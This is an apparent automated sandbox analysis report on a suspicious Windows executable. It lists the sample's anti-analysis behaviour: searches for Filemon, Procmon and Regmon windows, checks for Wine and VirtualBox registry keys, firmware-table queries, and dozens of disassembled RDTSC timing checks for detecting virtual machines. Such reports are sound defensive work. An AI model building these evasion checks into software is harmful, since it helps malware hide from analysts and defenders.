Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA1384 second address: BA1397 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E1FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C3AF second address: D0C3B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C3B5 second address: D0C3D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007F7F8876E203h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C3D3 second address: D0C3D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C3D8 second address: D0C3F4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F7F8876E203h 0x0000000a pop edi 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D12229 second address: D1222F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1222F second address: D1224E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F7F8876E208h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1224E second address: D1225F instructions: 0x00000000 rdtsc 0x00000002 js 00007F7F8931B056h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1295B second address: D12997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007F7F8876E20Ah 0x0000000b jnp 00007F7F8876E207h 0x00000011 jbe 00007F7F8876E1F6h 0x00000017 jmp 00007F7F8876E1FBh 0x0000001c push eax 0x0000001d push edx 0x0000001e push edx 0x0000001f pop edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D12997 second address: D1299B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15096 second address: D150A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E1FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D150A6 second address: D15157 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8931B05Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov edi, dword ptr [ebp+122D1F2Ah] 0x00000012 push 00000000h 0x00000014 mov dword ptr [ebp+122D27A7h], edi 0x0000001a push 7E29C036h 0x0000001f jne 00007F7F8931B062h 0x00000025 xor dword ptr [esp], 7E29C0B6h 0x0000002c push 00000003h 0x0000002e sub dword ptr [ebp+122D1D55h], esi 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ebx 0x00000039 call 00007F7F8931B058h 0x0000003e pop ebx 0x0000003f mov dword ptr [esp+04h], ebx 0x00000043 add dword ptr [esp+04h], 00000014h 0x0000004b inc ebx 0x0000004c push ebx 0x0000004d ret 0x0000004e pop ebx 0x0000004f ret 0x00000050 movzx edi, si 0x00000053 push 00000003h 0x00000055 push ebx 0x00000056 mov dword ptr [ebp+122D32EDh], ebx 0x0000005c pop esi 0x0000005d push AAA449D3h 0x00000062 pushad 0x00000063 jmp 00007F7F8931B05Ch 0x00000068 jne 00007F7F8931B058h 0x0000006e popad 0x0000006f add dword ptr [esp], 155BB62Dh 0x00000076 mov dword ptr [ebp+122D3285h], edx 0x0000007c mov edx, dword ptr [ebp+122D1F73h] 0x00000082 lea ebx, dword ptr [ebp+12447F98h] 0x00000088 push eax 0x00000089 pushad 0x0000008a push eax 0x0000008b push edx 0x0000008c ja 00007F7F8931B056h 0x00000092 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15157 second address: D1515B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D282AF second address: D282B9 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7F8931B056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34CB0 second address: D34CB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34CB4 second address: D34CC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34CC2 second address: D34CC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34E42 second address: D34E4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34E4A second address: D34E50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D35117 second address: D35124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007F7F8931B056h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D35124 second address: D35133 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D352A7 second address: D352C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8931B065h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D352C0 second address: D352DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7F8876E205h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D352DF second address: D352EA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D35C6E second address: D35C72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D35C72 second address: D35C76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D35D89 second address: D35DA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a jmp 00007F7F8876E1FDh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D35DA2 second address: D35DA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0A9B0 second address: D0A9BE instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7F8876E1F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D36810 second address: D36816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D36930 second address: D36934 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D36934 second address: D36945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F7F8931B056h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D36945 second address: D3694A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3694A second address: D3695D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jbe 00007F7F8931B056h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3695D second address: D36963 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D36963 second address: D36968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D37B51 second address: D37B56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D37B56 second address: D37B74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7F8931B05Bh 0x00000008 jns 00007F7F8931B056h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 pushad 0x00000016 popad 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3820F second address: D3822B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E208h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3822B second address: D38235 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F7F8931B056h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D393BC second address: D393C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F7F8876E1F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D393C7 second address: D393E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7F8931B069h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D393E5 second address: D393F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D393F2 second address: D39447 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8931B069h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jp 00007F7F8931B062h 0x00000014 mov eax, dword ptr [eax] 0x00000016 jnc 00007F7F8931B064h 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushad 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D39447 second address: D3944C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3CED1 second address: D3CEF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F8931B065h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop edx 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3CEF7 second address: D3CEFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3CEFB second address: D3CF25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007F7F8931B06Dh 0x0000000e jmp 00007F7F8931B067h 0x00000013 pushad 0x00000014 push edx 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3CF25 second address: D3CF2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D410EB second address: D410F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D05B3F second address: D05B45 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D05B45 second address: D05B56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F7F8931B056h 0x00000009 jno 00007F7F8931B056h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D05B56 second address: D05B89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F7F8876E204h 0x0000000f je 00007F7F8876E1F6h 0x00000015 jmp 00007F7F8876E1FEh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D406EB second address: D406EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D406EF second address: D406F5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D406F5 second address: D40703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F7F8931B056h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D453EC second address: D453F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46A92 second address: D46A9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0759C second address: D075C6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007F7F8876E1FCh 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push esi 0x00000012 jmp 00007F7F8876E1FDh 0x00000017 pop esi 0x00000018 push edi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D472A8 second address: D472CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F7F8931B066h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D472CE second address: D472F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop ebx 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d push ecx 0x0000000e pushad 0x0000000f jmp 00007F7F8876E209h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47444 second address: D47469 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7F8931B058h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F7F8931B064h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47469 second address: D4746F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47E5A second address: D47E64 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7F8931B056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47FBD second address: D47FC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D480D5 second address: D480DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D480DC second address: D480EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D480EA second address: D480F4 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7F8931B056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D480F4 second address: D480FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D480FA second address: D480FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D481C8 second address: D481EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7F8876E208h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4849D second address: D484A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D484A3 second address: D484B8 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7F8876E1FCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49BB2 second address: D49BB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49BB6 second address: D49BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4ADBC second address: D4ADC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4AB79 second address: D4AB7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49BBC second address: D49BD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8931B061h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4ADC2 second address: D4ADC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49BD6 second address: D49BDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4ADC6 second address: D4AE2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F7F8876E1F8h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 movzx edi, dx 0x00000026 push 00000000h 0x00000028 mov dword ptr [ebp+124481ACh], edx 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push esi 0x00000033 call 00007F7F8876E1F8h 0x00000038 pop esi 0x00000039 mov dword ptr [esp+04h], esi 0x0000003d add dword ptr [esp+04h], 00000016h 0x00000045 inc esi 0x00000046 push esi 0x00000047 ret 0x00000048 pop esi 0x00000049 ret 0x0000004a mov di, E60Ah 0x0000004e xchg eax, ebx 0x0000004f pushad 0x00000050 jmp 00007F7F8876E1FAh 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4AE2C second address: D4AE32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B5BB second address: D4B5BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
